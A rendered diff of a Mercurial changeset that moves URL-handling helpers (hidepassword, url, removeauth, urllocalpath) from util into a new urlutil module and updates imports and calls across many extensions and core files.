##// END OF EJS Templates
urlutil: extract `url` related code from `util` into the new module...
marmoute -
r47669:ffd3e823 default
parent child Browse files
Show More
@@ -19,9 +19,11 b' from mercurial import ('
19 lock,
19 lock,
20 pycompat,
20 pycompat,
21 registrar,
21 registrar,
22 util,
23 )
22 )
24 from mercurial.utils import dateutil
23 from mercurial.utils import (
24 dateutil,
25 urlutil,
26 )
25
27
26 release = lock.release
28 release = lock.release
27 cmdtable = {}
29 cmdtable = {}
@@ -109,7 +111,8 b" def fetch(ui, repo, source=b'default', *"
109
111
110 other = hg.peer(repo, opts, ui.expandpath(source))
112 other = hg.peer(repo, opts, ui.expandpath(source))
111 ui.status(
113 ui.status(
112 _(b'pulling from %s\n') % util.hidepassword(ui.expandpath(source))
114 _(b'pulling from %s\n')
115 % urlutil.hidepassword(ui.expandpath(source))
113 )
116 )
114 revs = None
117 revs = None
115 if opts[b'rev']:
118 if opts[b'rev']:
@@ -180,7 +183,7 b" def fetch(ui, repo, source=b'default', *"
180 if not err:
183 if not err:
181 # we don't translate commit messages
184 # we don't translate commit messages
182 message = cmdutil.logmessage(ui, opts) or (
185 message = cmdutil.logmessage(ui, opts) or (
183 b'Automated merge with %s' % util.removeauth(other.url())
186 b'Automated merge with %s' % urlutil.removeauth(other.url())
184 )
187 )
185 editopt = opts.get(b'edit') or opts.get(b'force_editor')
188 editopt = opts.get(b'edit') or opts.get(b'force_editor')
186 editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch')
189 editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch')
@@ -242,6 +242,7 b' from mercurial import ('
242 from mercurial.utils import (
242 from mercurial.utils import (
243 dateutil,
243 dateutil,
244 stringutil,
244 stringutil,
245 urlutil,
245 )
246 )
246
247
247 pickle = util.pickle
248 pickle = util.pickle
@@ -1042,7 +1043,7 b' def findoutgoing(ui, repo, remote=None, '
1042 opts = {}
1043 opts = {}
1043 dest = ui.expandpath(remote or b'default-push', remote or b'default')
1044 dest = ui.expandpath(remote or b'default-push', remote or b'default')
1044 dest, branches = hg.parseurl(dest, None)[:2]
1045 dest, branches = hg.parseurl(dest, None)[:2]
1045 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1046 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1046
1047
1047 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
1048 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
1048 other = hg.peer(repo, opts, dest)
1049 other = hg.peer(repo, opts, dest)
@@ -12,6 +12,9 b' from __future__ import absolute_import'
12 from mercurial.i18n import _
12 from mercurial.i18n import _
13
13
14 from mercurial import node, util
14 from mercurial import node, util
15 from mercurial.utils import (
16 urlutil,
17 )
15
18
16 from . import lfutil
19 from . import lfutil
17
20
@@ -29,13 +32,13 b' class StoreError(Exception):'
29 def longmessage(self):
32 def longmessage(self):
30 return _(b"error getting id %s from url %s for file %s: %s\n") % (
33 return _(b"error getting id %s from url %s for file %s: %s\n") % (
31 self.hash,
34 self.hash,
32 util.hidepassword(self.url),
35 urlutil.hidepassword(self.url),
33 self.filename,
36 self.filename,
34 self.detail,
37 self.detail,
35 )
38 )
36
39
37 def __str__(self):
40 def __str__(self):
38 return b"%s: %s" % (util.hidepassword(self.url), self.detail)
41 return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail)
39
42
40
43
41 class basestore(object):
44 class basestore(object):
@@ -79,7 +82,7 b' class basestore(object):'
79 if not available.get(hash):
82 if not available.get(hash):
80 ui.warn(
83 ui.warn(
81 _(b'%s: largefile %s not available from %s\n')
84 _(b'%s: largefile %s not available from %s\n')
82 % (filename, hash, util.hidepassword(self.url))
85 % (filename, hash, urlutil.hidepassword(self.url))
83 )
86 )
84 missing.append(filename)
87 missing.append(filename)
85 continue
88 continue
@@ -15,7 +15,10 b' from mercurial import ('
15 util,
15 util,
16 )
16 )
17
17
18 from mercurial.utils import stringutil
18 from mercurial.utils import (
19 stringutil,
20 urlutil,
21 )
19
22
20 from . import (
23 from . import (
21 basestore,
24 basestore,
@@ -40,11 +43,11 b' class remotestore(basestore.basestore):'
40 if self.sendfile(source, hash):
43 if self.sendfile(source, hash):
41 raise error.Abort(
44 raise error.Abort(
42 _(b'remotestore: could not put %s to remote store %s')
45 _(b'remotestore: could not put %s to remote store %s')
43 % (source, util.hidepassword(self.url))
46 % (source, urlutil.hidepassword(self.url))
44 )
47 )
45 self.ui.debug(
48 self.ui.debug(
46 _(b'remotestore: put %s to remote store %s\n')
49 _(b'remotestore: put %s to remote store %s\n')
47 % (source, util.hidepassword(self.url))
50 % (source, urlutil.hidepassword(self.url))
48 )
51 )
49
52
50 def exists(self, hashes):
53 def exists(self, hashes):
@@ -80,7 +83,7 b' class remotestore(basestore.basestore):'
80 # keep trying with the other files... they will probably
83 # keep trying with the other files... they will probably
81 # all fail too.
84 # all fail too.
82 raise error.Abort(
85 raise error.Abort(
83 b'%s: %s' % (util.hidepassword(self.url), e.reason)
86 b'%s: %s' % (urlutil.hidepassword(self.url), e.reason)
84 )
87 )
85 except IOError as e:
88 except IOError as e:
86 raise basestore.StoreError(
89 raise basestore.StoreError(
@@ -12,6 +12,9 b' from mercurial import ('
12 hg,
12 hg,
13 util,
13 util,
14 )
14 )
15 from mercurial.utils import (
16 urlutil,
17 )
15
18
16 from . import (
19 from . import (
17 lfutil,
20 lfutil,
@@ -71,7 +74,7 b' def openstore(repo=None, remote=None, pu'
71
74
72 raise error.Abort(
75 raise error.Abort(
73 _(b'%s does not appear to be a largefile store')
76 _(b'%s does not appear to be a largefile store')
74 % util.hidepassword(path)
77 % urlutil.hidepassword(path)
75 )
78 )
76
79
77
80
@@ -31,7 +31,10 b' from mercurial import ('
31 worker,
31 worker,
32 )
32 )
33
33
34 from mercurial.utils import stringutil
34 from mercurial.utils import (
35 stringutil,
36 urlutil,
37 )
35
38
36 from ..largefiles import lfutil
39 from ..largefiles import lfutil
37
40
@@ -725,7 +728,7 b' def remote(repo, remote=None):'
725 https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md
728 https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md
726 """
729 """
727 lfsurl = repo.ui.config(b'lfs', b'url')
730 lfsurl = repo.ui.config(b'lfs', b'url')
728 url = util.url(lfsurl or b'')
731 url = urlutil.url(lfsurl or b'')
729 if lfsurl is None:
732 if lfsurl is None:
730 if remote:
733 if remote:
731 path = remote
734 path = remote
@@ -739,7 +742,7 b' def remote(repo, remote=None):'
739 # and fall back to inferring from 'paths.remote' if unspecified.
742 # and fall back to inferring from 'paths.remote' if unspecified.
740 path = repo.ui.config(b'paths', b'default') or b''
743 path = repo.ui.config(b'paths', b'default') or b''
741
744
742 defaulturl = util.url(path)
745 defaulturl = urlutil.url(path)
743
746
744 # TODO: support local paths as well.
747 # TODO: support local paths as well.
745 # TODO: consider the ssh -> https transformation that git applies
748 # TODO: consider the ssh -> https transformation that git applies
@@ -748,7 +751,7 b' def remote(repo, remote=None):'
748 defaulturl.path += b'/'
751 defaulturl.path += b'/'
749 defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs'
752 defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs'
750
753
751 url = util.url(bytes(defaulturl))
754 url = urlutil.url(bytes(defaulturl))
752 repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url)
755 repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url)
753
756
754 scheme = url.scheme
757 scheme = url.scheme
@@ -108,6 +108,7 b' from mercurial import ('
108 from mercurial.utils import (
108 from mercurial.utils import (
109 dateutil,
109 dateutil,
110 stringutil,
110 stringutil,
111 urlutil,
111 )
112 )
112
113
113 release = lockmod.release
114 release = lockmod.release
@@ -2509,7 +2510,7 b' class queue(object):'
2509 )
2510 )
2510 filename = normname(filename)
2511 filename = normname(filename)
2511 self.checkreservedname(filename)
2512 self.checkreservedname(filename)
2512 if util.url(filename).islocal():
2513 if urlutil.url(filename).islocal():
2513 originpath = self.join(filename)
2514 originpath = self.join(filename)
2514 if not os.path.isfile(originpath):
2515 if not os.path.isfile(originpath):
2515 raise error.Abort(
2516 raise error.Abort(
@@ -36,6 +36,9 b' from mercurial import ('
36 util,
36 util,
37 wireprototypes,
37 wireprototypes,
38 )
38 )
39 from mercurial.utils import (
40 urlutil,
41 )
39
42
40 table = {}
43 table = {}
41 command = registrar.command(table)
44 command = registrar.command(table)
@@ -592,7 +595,7 b' def trackedcmd(ui, repo, remotepath=None'
592 # also define the set of revisions to update for widening.
595 # also define the set of revisions to update for widening.
593 remotepath = ui.expandpath(remotepath or b'default')
596 remotepath = ui.expandpath(remotepath or b'default')
594 url, branches = hg.parseurl(remotepath)
597 url, branches = hg.parseurl(remotepath)
595 ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
598 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
596 remote = hg.peer(repo, opts, url)
599 remote = hg.peer(repo, opts, url)
597
600
598 try:
601 try:
@@ -99,7 +99,10 b' from mercurial import ('
99 templater,
99 templater,
100 util,
100 util,
101 )
101 )
102 from mercurial.utils import dateutil
102 from mercurial.utils import (
103 dateutil,
104 urlutil,
105 )
103
106
104 stringio = util.stringio
107 stringio = util.stringio
105
108
@@ -529,7 +532,7 b' def _getoutgoing(repo, dest, revs):'
529 ui = repo.ui
532 ui = repo.ui
530 url = ui.expandpath(dest or b'default-push', dest or b'default')
533 url = ui.expandpath(dest or b'default-push', dest or b'default')
531 url = hg.parseurl(url)[0]
534 url = hg.parseurl(url)[0]
532 ui.status(_(b'comparing with %s\n') % util.hidepassword(url))
535 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
533
536
534 revs = [r for r in revs if r >= 0]
537 revs = [r for r in revs if r >= 0]
535 if not revs:
538 if not revs:
@@ -103,6 +103,7 b' from mercurial import ('
103 from mercurial.utils import (
103 from mercurial.utils import (
104 procutil,
104 procutil,
105 stringutil,
105 stringutil,
106 urlutil,
106 )
107 )
107 from . import show
108 from . import show
108
109
@@ -366,7 +367,7 b' def urlencodenested(params):'
366 process(k, v)
367 process(k, v)
367
368
368 process(b'', params)
369 process(b'', params)
369 return util.urlreq.urlencode(flatparams)
370 return urlutil.urlreq.urlencode(flatparams)
370
371
371
372
372 def readurltoken(ui):
373 def readurltoken(ui):
@@ -381,7 +382,7 b' def readurltoken(ui):'
381 _(b'config %s.%s is required') % (b'phabricator', b'url')
382 _(b'config %s.%s is required') % (b'phabricator', b'url')
382 )
383 )
383
384
384 res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user)
385 res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user)
385 token = None
386 token = None
386
387
387 if res:
388 if res:
@@ -52,7 +52,9 b' from mercurial import ('
52 pycompat,
52 pycompat,
53 registrar,
53 registrar,
54 templater,
54 templater,
55 util,
55 )
56 from mercurial.utils import (
57 urlutil,
56 )
58 )
57
59
58 cmdtable = {}
60 cmdtable = {}
@@ -86,7 +88,7 b' class ShortRepository(object):'
86 )
88 )
87
89
88 def resolve(self, url):
90 def resolve(self, url):
89 # Should this use the util.url class, or is manual parsing better?
91 # Should this use the urlutil.url class, or is manual parsing better?
90 try:
92 try:
91 url = url.split(b'://', 1)[1]
93 url = url.split(b'://', 1)[1]
92 except IndexError:
94 except IndexError:
@@ -137,7 +139,7 b' def extsetup(ui):'
137 )
139 )
138 hg.schemes[scheme] = ShortRepository(url, scheme, t)
140 hg.schemes[scheme] = ShortRepository(url, scheme, t)
139
141
140 extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter)
142 extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter)
141
143
142
144
143 @command(b'debugexpandscheme', norepo=True)
145 @command(b'debugexpandscheme', norepo=True)
@@ -27,6 +27,9 b' from . import ('
27 txnutil,
27 txnutil,
28 util,
28 util,
29 )
29 )
30 from .utils import (
31 urlutil,
32 )
30
33
31 # label constants
34 # label constants
32 # until 3.5, bookmarks.current was the advertised name, not
35 # until 3.5, bookmarks.current was the advertised name, not
@@ -597,10 +600,10 b' def _diverge(ui, b, path, localmarks, re'
597 # try to use an @pathalias suffix
600 # try to use an @pathalias suffix
598 # if an @pathalias already exists, we overwrite (update) it
601 # if an @pathalias already exists, we overwrite (update) it
599 if path.startswith(b"file:"):
602 if path.startswith(b"file:"):
600 path = util.url(path).path
603 path = urlutil.url(path).path
601 for p, u in ui.configitems(b"paths"):
604 for p, u in ui.configitems(b"paths"):
602 if u.startswith(b"file:"):
605 if u.startswith(b"file:"):
603 u = util.url(u).path
606 u = urlutil.url(u).path
604 if path == u:
607 if path == u:
605 return b'%s@%s' % (b, p)
608 return b'%s@%s' % (b, p)
606
609
@@ -177,7 +177,10 b' from . import ('
177 url,
177 url,
178 util,
178 util,
179 )
179 )
180 from .utils import stringutil
180 from .utils import (
181 stringutil,
182 urlutil,
183 )
181
184
182 urlerr = util.urlerr
185 urlerr = util.urlerr
183 urlreq = util.urlreq
186 urlreq = util.urlreq
@@ -2073,7 +2076,7 b' def handleremotechangegroup(op, inpart):'
2073 raw_url = inpart.params[b'url']
2076 raw_url = inpart.params[b'url']
2074 except KeyError:
2077 except KeyError:
2075 raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
2078 raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
2076 parsed_url = util.url(raw_url)
2079 parsed_url = urlutil.url(raw_url)
2077 if parsed_url.scheme not in capabilities[b'remote-changegroup']:
2080 if parsed_url.scheme not in capabilities[b'remote-changegroup']:
2078 raise error.Abort(
2081 raise error.Abort(
2079 _(b'remote-changegroup does not support %s urls')
2082 _(b'remote-changegroup does not support %s urls')
@@ -2110,7 +2113,7 b' def handleremotechangegroup(op, inpart):'
2110 cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
2113 cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
2111 if not isinstance(cg, changegroup.cg1unpacker):
2114 if not isinstance(cg, changegroup.cg1unpacker):
2112 raise error.Abort(
2115 raise error.Abort(
2113 _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url)
2116 _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
2114 )
2117 )
2115 ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
2118 ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
2116 if op.reply is not None:
2119 if op.reply is not None:
@@ -2126,7 +2129,7 b' def handleremotechangegroup(op, inpart):'
2126 except error.Abort as e:
2129 except error.Abort as e:
2127 raise error.Abort(
2130 raise error.Abort(
2128 _(b'bundle at %s is corrupted:\n%s')
2131 _(b'bundle at %s is corrupted:\n%s')
2129 % (util.hidepassword(raw_url), e.message)
2132 % (urlutil.hidepassword(raw_url), e.message)
2130 )
2133 )
2131 assert not inpart.read()
2134 assert not inpart.read()
2132
2135
@@ -43,6 +43,9 b' from . import ('
43 util,
43 util,
44 vfs as vfsmod,
44 vfs as vfsmod,
45 )
45 )
46 from .utils import (
47 urlutil,
48 )
46
49
47
50
48 class bundlerevlog(revlog.revlog):
51 class bundlerevlog(revlog.revlog):
@@ -475,7 +478,7 b' def instance(ui, path, create, intents=N'
475 cwd = pathutil.normasprefix(cwd)
478 cwd = pathutil.normasprefix(cwd)
476 if parentpath.startswith(cwd):
479 if parentpath.startswith(cwd):
477 parentpath = parentpath[len(cwd) :]
480 parentpath = parentpath[len(cwd) :]
478 u = util.url(path)
481 u = urlutil.url(path)
479 path = u.localpath()
482 path = u.localpath()
480 if u.scheme == b'bundle':
483 if u.scheme == b'bundle':
481 s = path.split(b"+", 1)
484 s = path.split(b"+", 1)
@@ -74,6 +74,7 b' from . import ('
74 from .utils import (
74 from .utils import (
75 dateutil,
75 dateutil,
76 stringutil,
76 stringutil,
77 urlutil,
77 )
78 )
78
79
79 if pycompat.TYPE_CHECKING:
80 if pycompat.TYPE_CHECKING:
@@ -4319,7 +4320,7 b' def incoming(ui, repo, source=b"default"'
4319 ui.warn(_(b"remote doesn't support bookmarks\n"))
4320 ui.warn(_(b"remote doesn't support bookmarks\n"))
4320 return 0
4321 return 0
4321 ui.pager(b'incoming')
4322 ui.pager(b'incoming')
4322 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
4323 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
4323 return bookmarks.incoming(ui, repo, other)
4324 return bookmarks.incoming(ui, repo, other)
4324 finally:
4325 finally:
4325 other.close()
4326 other.close()
@@ -4994,7 +4995,7 b' def outgoing(ui, repo, dest=None, **opts'
4994 if b'bookmarks' not in other.listkeys(b'namespaces'):
4995 if b'bookmarks' not in other.listkeys(b'namespaces'):
4995 ui.warn(_(b"remote doesn't support bookmarks\n"))
4996 ui.warn(_(b"remote doesn't support bookmarks\n"))
4996 return 0
4997 return 0
4997 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
4998 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
4998 ui.pager(b'outgoing')
4999 ui.pager(b'outgoing')
4999 return bookmarks.outgoing(ui, repo, other)
5000 return bookmarks.outgoing(ui, repo, other)
5000 finally:
5001 finally:
@@ -5142,7 +5143,7 b' def paths(ui, repo, search=None, **opts)'
5142
5143
5143 fm = ui.formatter(b'paths', opts)
5144 fm = ui.formatter(b'paths', opts)
5144 if fm.isplain():
5145 if fm.isplain():
5145 hidepassword = util.hidepassword
5146 hidepassword = urlutil.hidepassword
5146 else:
5147 else:
5147 hidepassword = bytes
5148 hidepassword = bytes
5148 if ui.quiet:
5149 if ui.quiet:
@@ -5392,7 +5393,7 b' def pull(ui, repo, *sources, **opts):'
5392 source, branches = hg.parseurl(
5393 source, branches = hg.parseurl(
5393 ui.expandpath(source), opts.get(b'branch')
5394 ui.expandpath(source), opts.get(b'branch')
5394 )
5395 )
5395 ui.status(_(b'pulling from %s\n') % util.hidepassword(source))
5396 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5396 ui.flush()
5397 ui.flush()
5397 other = hg.peer(repo, opts, source)
5398 other = hg.peer(repo, opts, source)
5398 update_conflict = None
5399 update_conflict = None
@@ -5732,7 +5733,7 b' def push(ui, repo, *dests, **opts):'
5732 )
5733 )
5733 dest = path.pushloc or path.loc
5734 dest = path.pushloc or path.loc
5734 branches = (path.branch, opts.get(b'branch') or [])
5735 branches = (path.branch, opts.get(b'branch') or [])
5735 ui.status(_(b'pushing to %s\n') % util.hidepassword(dest))
5736 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5736 revs, checkout = hg.addbranchrevs(
5737 revs, checkout = hg.addbranchrevs(
5737 repo, repo, branches, opts.get(b'rev')
5738 repo, repo, branches, opts.get(b'rev')
5738 )
5739 )
@@ -7235,7 +7236,7 b' def summary(ui, repo, **opts):'
7235 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7236 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7236 if revs:
7237 if revs:
7237 revs = [other.lookup(rev) for rev in revs]
7238 revs = [other.lookup(rev) for rev in revs]
7238 ui.debug(b'comparing with %s\n' % util.hidepassword(source))
7239 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7239 repo.ui.pushbuffer()
7240 repo.ui.pushbuffer()
7240 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7241 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7241 repo.ui.popbuffer()
7242 repo.ui.popbuffer()
@@ -7257,7 +7258,7 b' def summary(ui, repo, **opts):'
7257 if opts.get(b'remote'):
7258 if opts.get(b'remote'):
7258 raise
7259 raise
7259 return dest, dbranch, None, None
7260 return dest, dbranch, None, None
7260 ui.debug(b'comparing with %s\n' % util.hidepassword(dest))
7261 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7261 elif sother is None:
7262 elif sother is None:
7262 # there is no explicit destination peer, but source one is invalid
7263 # there is no explicit destination peer, but source one is invalid
7263 return dest, dbranch, None, None
7264 return dest, dbranch, None, None
@@ -7599,7 +7600,7 b' def unbundle(ui, repo, fname1, *fnames, '
7599 try:
7600 try:
7600 txnname = b'unbundle'
7601 txnname = b'unbundle'
7601 if not isinstance(gen, bundle2.unbundle20):
7602 if not isinstance(gen, bundle2.unbundle20):
7602 txnname = b'unbundle\n%s' % util.hidepassword(url)
7603 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7603 with repo.transaction(txnname) as tr:
7604 with repo.transaction(txnname) as tr:
7604 op = bundle2.applybundle(
7605 op = bundle2.applybundle(
7605 repo, gen, tr, source=b'unbundle', url=url
7606 repo, gen, tr, source=b'unbundle', url=url
@@ -98,6 +98,7 b' from .utils import ('
98 dateutil,
98 dateutil,
99 procutil,
99 procutil,
100 stringutil,
100 stringutil,
101 urlutil,
101 )
102 )
102
103
103 from .revlogutils import (
104 from .revlogutils import (
@@ -1061,7 +1062,7 b' def debugdiscovery(ui, repo, remoteurl=b'
1061
1062
1062 remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
1063 remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
1063 remote = hg.peer(repo, opts, remoteurl)
1064 remote = hg.peer(repo, opts, remoteurl)
1064 ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl))
1065 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl))
1065 else:
1066 else:
1066 branches = (None, [])
1067 branches = (None, [])
1067 remote_filtered_revs = scmutil.revrange(
1068 remote_filtered_revs = scmutil.revrange(
@@ -3652,7 +3653,7 b' def debugssl(ui, repo, source=None, **op'
3652 source = b"default"
3653 source = b"default"
3653
3654
3654 source, branches = hg.parseurl(ui.expandpath(source))
3655 source, branches = hg.parseurl(ui.expandpath(source))
3655 url = util.url(source)
3656 url = urlutil.url(source)
3656
3657
3657 defaultport = {b'https': 443, b'ssh': 22}
3658 defaultport = {b'https': 443, b'ssh': 22}
3658 if url.scheme in defaultport:
3659 if url.scheme in defaultport:
@@ -4525,7 +4526,7 b' def debugwireproto(ui, repo, path=None, '
4525 # We bypass hg.peer() so we can proxy the sockets.
4526 # We bypass hg.peer() so we can proxy the sockets.
4526 # TODO consider not doing this because we skip
4527 # TODO consider not doing this because we skip
4527 # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
4528 # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
4528 u = util.url(path)
4529 u = urlutil.url(path)
4529 if u.scheme != b'http':
4530 if u.scheme != b'http':
4530 raise error.Abort(_(b'only http:// paths are currently supported'))
4531 raise error.Abort(_(b'only http:// paths are currently supported'))
4531
4532
@@ -42,6 +42,7 b' from . import ('
42 from .utils import (
42 from .utils import (
43 hashutil,
43 hashutil,
44 stringutil,
44 stringutil,
45 urlutil,
45 )
46 )
46
47
47 urlerr = util.urlerr
48 urlerr = util.urlerr
@@ -1465,7 +1466,7 b' class transactionmanager(util.transactio'
1465 def transaction(self):
1466 def transaction(self):
1466 """Return an open transaction object, constructing if necessary"""
1467 """Return an open transaction object, constructing if necessary"""
1467 if not self._tr:
1468 if not self._tr:
1468 trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
1469 trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url))
1469 self._tr = self.repo.transaction(trname)
1470 self._tr = self.repo.transaction(trname)
1470 self._tr.hookargs[b'source'] = self.source
1471 self._tr.hookargs[b'source'] = self.source
1471 self._tr.hookargs[b'url'] = self.url
1472 self._tr.hookargs[b'url'] = self.url
@@ -2647,7 +2648,7 b' def unbundle(repo, cg, heads, source, ur'
2647 # push can proceed
2648 # push can proceed
2648 if not isinstance(cg, bundle2.unbundle20):
2649 if not isinstance(cg, bundle2.unbundle20):
2649 # legacy case: bundle1 (changegroup 01)
2650 # legacy case: bundle1 (changegroup 01)
2650 txnname = b"\n".join([source, util.hidepassword(url)])
2651 txnname = b"\n".join([source, urlutil.hidepassword(url)])
2651 with repo.lock(), repo.transaction(txnname) as tr:
2652 with repo.lock(), repo.transaction(txnname) as tr:
2652 op = bundle2.applybundle(repo, cg, tr, source, url)
2653 op = bundle2.applybundle(repo, cg, tr, source, url)
2653 r = bundle2.combinechangegroupresults(op)
2654 r = bundle2.combinechangegroupresults(op)
@@ -55,6 +55,7 b' from . import ('
55 from .utils import (
55 from .utils import (
56 hashutil,
56 hashutil,
57 stringutil,
57 stringutil,
58 urlutil,
58 )
59 )
59
60
60
61
@@ -65,7 +66,7 b" sharedbookmarks = b'bookmarks'"
65
66
66
67
67 def _local(path):
68 def _local(path):
68 path = util.expandpath(util.urllocalpath(path))
69 path = util.expandpath(urlutil.urllocalpath(path))
69
70
70 try:
71 try:
71 # we use os.stat() directly here instead of os.path.isfile()
72 # we use os.stat() directly here instead of os.path.isfile()
@@ -132,7 +133,7 b' def addbranchrevs(lrepo, other, branches'
132 def parseurl(path, branches=None):
133 def parseurl(path, branches=None):
133 '''parse url#branch, returning (url, (branch, branches))'''
134 '''parse url#branch, returning (url, (branch, branches))'''
134
135
135 u = util.url(path)
136 u = urlutil.url(path)
136 branch = None
137 branch = None
137 if u.fragment:
138 if u.fragment:
138 branch = u.fragment
139 branch = u.fragment
@@ -152,7 +153,7 b' schemes = {'
152
153
153
154
154 def _peerlookup(path):
155 def _peerlookup(path):
155 u = util.url(path)
156 u = urlutil.url(path)
156 scheme = u.scheme or b'file'
157 scheme = u.scheme or b'file'
157 thing = schemes.get(scheme) or schemes[b'file']
158 thing = schemes.get(scheme) or schemes[b'file']
158 try:
159 try:
@@ -177,7 +178,7 b' def islocal(repo):'
177
178
178 def openpath(ui, path, sendaccept=True):
179 def openpath(ui, path, sendaccept=True):
179 '''open path with open if local, url.open if remote'''
180 '''open path with open if local, url.open if remote'''
180 pathurl = util.url(path, parsequery=False, parsefragment=False)
181 pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
181 if pathurl.islocal():
182 if pathurl.islocal():
182 return util.posixfile(pathurl.localpath(), b'rb')
183 return util.posixfile(pathurl.localpath(), b'rb')
183 else:
184 else:
@@ -265,7 +266,7 b' def defaultdest(source):'
265 >>> defaultdest(b'http://example.org/foo/')
266 >>> defaultdest(b'http://example.org/foo/')
266 'foo'
267 'foo'
267 """
268 """
268 path = util.url(source).path
269 path = urlutil.url(source).path
269 if not path:
270 if not path:
270 return b''
271 return b''
271 return os.path.basename(os.path.normpath(path))
272 return os.path.basename(os.path.normpath(path))
@@ -571,7 +572,7 b' def clonewithshare('
571
572
572 # Resolve the value to put in [paths] section for the source.
573 # Resolve the value to put in [paths] section for the source.
573 if islocal(source):
574 if islocal(source):
574 defaultpath = os.path.abspath(util.urllocalpath(source))
575 defaultpath = os.path.abspath(urlutil.urllocalpath(source))
575 else:
576 else:
576 defaultpath = source
577 defaultpath = source
577
578
@@ -693,8 +694,8 b' def clone('
693 else:
694 else:
694 dest = ui.expandpath(dest)
695 dest = ui.expandpath(dest)
695
696
696 dest = util.urllocalpath(dest)
697 dest = urlutil.urllocalpath(dest)
697 source = util.urllocalpath(source)
698 source = urlutil.urllocalpath(source)
698
699
699 if not dest:
700 if not dest:
700 raise error.InputError(_(b"empty destination path is not valid"))
701 raise error.InputError(_(b"empty destination path is not valid"))
@@ -825,7 +826,7 b' def clone('
825
826
826 abspath = origsource
827 abspath = origsource
827 if islocal(origsource):
828 if islocal(origsource):
828 abspath = os.path.abspath(util.urllocalpath(origsource))
829 abspath = os.path.abspath(urlutil.urllocalpath(origsource))
829
830
830 if islocal(dest):
831 if islocal(dest):
831 cleandir = dest
832 cleandir = dest
@@ -939,7 +940,7 b' def clone('
939 local.setnarrowpats(storeincludepats, storeexcludepats)
940 local.setnarrowpats(storeincludepats, storeexcludepats)
940 narrowspec.copytoworkingcopy(local)
941 narrowspec.copytoworkingcopy(local)
941
942
942 u = util.url(abspath)
943 u = urlutil.url(abspath)
943 defaulturl = bytes(u)
944 defaulturl = bytes(u)
944 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
945 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
945 if not stream:
946 if not stream:
@@ -986,7 +987,7 b' def clone('
986 destrepo = destpeer.local()
987 destrepo = destpeer.local()
987 if destrepo:
988 if destrepo:
988 template = uimod.samplehgrcs[b'cloned']
989 template = uimod.samplehgrcs[b'cloned']
989 u = util.url(abspath)
990 u = urlutil.url(abspath)
990 u.passwd = None
991 u.passwd = None
991 defaulturl = bytes(u)
992 defaulturl = bytes(u)
992 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
993 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
@@ -1269,7 +1270,7 b' def _incoming('
1269 other = peer(repo, opts, source)
1270 other = peer(repo, opts, source)
1270 cleanupfn = other.close
1271 cleanupfn = other.close
1271 try:
1272 try:
1272 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
1273 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
1273 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1274 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1274
1275
1275 if revs:
1276 if revs:
@@ -1330,7 +1331,7 b' def _outgoing(ui, repo, dest, opts):'
1330 dest = path.pushloc or path.loc
1331 dest = path.pushloc or path.loc
1331 branches = path.branch, opts.get(b'branch') or []
1332 branches = path.branch, opts.get(b'branch') or []
1332
1333
1333 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1334 ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
1334 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1335 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1335 if revs:
1336 if revs:
